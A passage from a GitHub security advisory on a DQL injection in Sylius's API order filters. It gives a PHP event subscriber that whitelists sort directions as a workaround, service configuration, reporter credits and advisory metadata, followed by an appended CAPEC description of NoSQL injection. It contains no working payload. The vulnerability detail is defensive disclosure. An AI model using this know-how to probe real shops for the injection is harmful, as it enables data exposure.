[\u0027sanitizeOrderParameters\u0027, 64],\n        ];\n    }\n\n    public function sanitizeOrderParameters(RequestEvent $event): void\n    {\n        if (!str_contains($event-\u003egetRequest()-\u003egetPathInfo(), $this-\u003eapiRoute)) {\n            return;\n        }\n\n        $request = $event-\u003egetRequest();\n\n        /** @var mixed $order */\n        $order = $request-\u003equery-\u003eall()[\u0027order\u0027] ?? null;\n        if (!is_array($order)) {\n            return;\n        }\n\n        $needsSanitization = false;\n        $sanitized = [];\n        foreach ($order as $field =\u003e $direction) {\n            if (is_string($direction) \u0026\u0026 in_array(strtolower($direction), self::ALLOWED_DIRECTIONS, true)) {\n                $sanitized[$field] = $direction;\n            } else {\n                $needsSanitization = true;\n            }\n        }\n\n        if (!$needsSanitization) {\n            return;\n        }\n\n        $all = $request-\u003equery-\u003eall();\n        $all[\u0027order\u0027] = $sanitized;\n        $request-\u003equery-\u003ereplace($all);\n\n        $request-\u003eserver-\u003eset(\u0027QUERY_STRING\u0027, http_build_query($all));\n        $request-\u003eattributes-\u003eset(\u0027_api_filters\u0027, $all);\n    }\n}\n```\n\n#### Step 2 \u2014 Register the service\n\n**Option A** \u2014 If your `config/services.yaml` already has `App\\` autowiring (Symfony default):\n\n```yaml\n# Nothing to do \u2014 autoconfigure picks up EventSubscriberInterface automatically.\n# Optionally bind the API route prefix:\nservices:\n    App\\EventSubscriber\\SanitizeOrderDirectionSubscriber:\n        arguments:\n            $apiRoute: \u0027%sylius.security.new_api_route%\u0027\n```\n\n**Option B** \u2014 If there is no `App\\` autowiring:\n\n```yaml\nservices:\n    App\\EventSubscriber\\SanitizeOrderDirectionSubscriber:\n        arguments:\n            $apiRoute: \u0027%sylius.security.new_api_route%\u0027\n        tags: [\u0027kernel.event_subscriber\u0027]\n```\n\nUsing `%sylius.security.new_api_route%` ties the subscriber to the same prefix Sylius uses (`/api/v2` by default). If the parameter is not available, hardcode `\u0027/api/v2\u0027` instead.\n\n#### Step 3 \u2014 Clear cache\n\n```bash\nbin/console cache:clear\n```\n\n### Reporters\n\nWe would like to extend our gratitude to the following individuals for their detailed reporting and responsible disclosure of this vulnerability:\n- Chris Alupului (@Neosprings)\n- Bart\u0142omiej Nowi\u0144ski (@bnBart)\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [Sylius issues](https://github.com/Sylius/Sylius/issues?q=sort%3Aupdated-desc+is%3Aissue+is%3Aopen)\n- Email us at [security@sylius.com](mailto:security@sylius.com)",
  "id": "GHSA-xcwx-r2gw-w93m",
  "modified": "2026-03-11T20:33:18Z",
  "published": "2026-03-11T00:13:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Sylius/Sylius/security/advisories/GHSA-xcwx-r2gw-w93m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31825"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Sylius/Sylius"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Sylius has a DQL Injection via API Order Filters"
}

No mitigation information available for this CWE.

CAPEC-676: NoSQL Injection

An adversary targets software that constructs NoSQL statements based on user input or with parameters vulnerable to operator replacement in order to achieve a variety of technical impacts such as escalating privileges, bypassing authentication, and/or executing code.